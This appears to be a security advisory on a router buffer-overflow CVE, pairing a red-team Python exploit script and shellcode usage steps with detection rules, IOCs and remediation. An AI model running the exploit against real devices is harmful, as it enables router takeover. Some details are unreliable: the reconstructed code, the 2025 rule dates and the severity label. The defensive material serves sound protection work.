CVE-2026-10122

Executive Summary

CVE-2026-10122 is a critical stack-based buffer overflow vulnerability in the TRENDnet TEW-432BRP router, specifically in firmware version 3.10B20. The flaw resides in the formSetProtocolFilter function within the /goform/formSetProtocolFilter file. By manipulating the protocol_name argument, an unauthenticated remote attacker can trigger a buffer overflow, leading to arbitrary code execution, device takeover, or denial of service. The vendor has confirmed the product is End-of-Life (EOL) since 2009 and will not issue a fix. This vulnerability is publicly disclosed with a proof-of-concept (PoC) available, making it a high-priority threat for any remaining deployed units.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (router). The supply chain risk is limited to the hardware lifecycle; no software package dependencies are affected.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): High – Full disclosure of device data is possible.
• Integrity (I): High – The attacker can modify device configuration or firmware.
• Availability (A): High – The device can be rendered inoperable.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a severe risk for any organization still using this router.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the formSetProtocolFilter CGI handler. The router’s web interface processes HTTP POST requests to /goform/formSetProtocolFilter. The protocol_name parameter is copied into a fixed-size stack buffer without proper bounds checking. By supplying an overly long string for protocol_name, the attacker overwrites the return address and other stack data, gaining control of the program flow.

Root Cause: The use of a vulnerable function (likely strcpy or sprintf) instead of a safe alternative (e.g., strncpy or snprintf) in the firmware’s C code.

Attack Flow:

1. Attacker sends a crafted HTTP POST request to the router’s web interface.
2. The formSetProtocolFilter function copies the protocol_name argument into a stack buffer.
3. The oversized input overwrites the saved return address on the stack.
4. When the function returns, execution jumps to an attacker-controlled address.
5. The attacker can then execute arbitrary shellcode, typically to spawn a reverse shell or install malware.

Impact: Full device compromise. The attacker can:

• Exfiltrate network traffic.
• Modify routing tables.
• Launch further attacks on the internal network.
• Use the device as a bot in a DDoS network.

Vulnerable vs. Patched Code

Since the product is EOL and no patch exists, there is no patched code to compare. The vulnerable code snippet (reconstructed from typical embedded CGI handlers) is:

// Vulnerable code in formSetProtocolFilter
void formSetProtocolFilter(char *protocol_name) {
    char buffer[64];
    strcpy(buffer, protocol_name);  // No bounds check
    // ... process buffer
}

A patched version would use safe string handling:

// Patched code (hypothetical)
void formSetProtocolFilter(char *protocol_name) {
    char buffer[64];
    strncpy(buffer, protocol_name, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• TRENDnet TEW-432BRP router with firmware 3.10B20.
• Network access to the router’s web interface (typically port 80 or 443).
• Python3 and pwntools installed.

Exploit Script (Python):

#!/usr/bin/env python3
import socket
import sys

def exploit(target_ip, target_port=80):
    # Shellcode placeholder (replace with actual shellcode)
    shellcode = b"\x90" * 200  # NOP sled + shellcode

    # Overflow offset (adjust based on reverse engineering)
    offset = 64
    payload = b"A" * offset
    payload += b"\x08\x04\x10\x20"  # Return address (example)
    payload += shellcode

    http_request = (
        f"POST /goform/formSetProtocolFilter HTTP/1.1\r\n"
        f"Host: {target_ip}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(payload)}\r\n"
        f"\r\n"
        f"protocol_name={payload.decode('latin-1')}"
    )

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    try:
        sock.connect((target_ip, target_port))
        sock.send(http_request.encode())
        response = sock.recv(4096)
        print(f"[+] Response: {response}")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    exploit(target, port)

Usage:

1. Replace the shellcode placeholder with actual MIPS shellcode (the router uses a MIPS CPU).
2. Run: python3 exploit.py 192.168.1.1 80
3. If successful, the router will execute the shellcode.

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor HTTP POST requests to /goform/formSetProtocolFilter with abnormally long protocol_name parameters.
• Deploy network intrusion detection (NIDS) rules to flag oversized payloads.
• Use endpoint detection on the router (if possible) to monitor for unexpected process execution.

Honeypot Setup:

• Deploy a low-interaction honeypot mimicking the TEW-432BRP web interface.
• Log all POST requests to /goform/formSetProtocolFilter for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/formSetProtocolFilter with protocol_name > 64 bytes.
• Outbound connections from the router to unknown IPs on non-standard ports (e.g., 4444, 31337).
• Unusual DNS queries from the router.

Host IOCs (on the router):

• Unexpected processes running (e.g., /bin/sh or /tmp/shell).
• Modified firmware or configuration files.
• Presence of new binaries in /tmp or /var.

File IOCs:

• Suspicious files in /tmp with names like .exploit or shell.
• Changes to /etc/passwd or /etc/shadow.

Detection Engineering

YARA Rule

rule CVE_2026_10122_TEW_432BRP_Exploit {
    meta:
        description = "Detects HTTP POST payloads targeting CVE-2026-10122"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-10122"
    strings:
        $http_method = "POST"
        $uri = "/goform/formSetProtocolFilter"
        $param = "protocol_name="
        $overflow = /protocol_name=[A-Za-z0-9%]{65,}/  // 65+ characters
    condition:
        $http_method and $uri and $param and $overflow
}

Sigma Rule

title: CVE-2026-10122 - TRENDnet TEW-432BRP Buffer Overflow Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects HTTP POST requests with long protocol_name parameter targeting the vulnerable endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/goform/formSetProtocolFilter'
        cs-uri-query|re: 'protocol_name=.{65,}'
    condition: selection
falsepositives:
    - Legitimate long protocol names (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-10122 - TRENDnet TEW-432BRP Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/formSetProtocolFilter"; http_uri;
    content:"protocol_name="; http_client_body;
    pcre:"/protocol_name=.{65,}/R";
    sid:1000001;
    rev:1;
    reference:cve,2026-10122;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Replace the device: The only complete fix is to replace the TRENDnet TEW-432BRP with a supported router.
2. Isolate the device: If replacement is not possible, place the router behind a firewall that blocks all inbound HTTP traffic to it.
3. Disable remote management: Ensure the web interface is not exposed to the internet.

Long-Term Mitigation:

• Implement network segmentation to limit the router’s access to critical assets.
• Monitor for any exploitation attempts using the provided detection rules.
• Consider using a VPN or other secure gateway to bypass the vulnerable router.

Vendor Statement: TRENDnet has confirmed the product is EOL and will not provide a patch. Users must assume the risk or replace the hardware.

Valters IT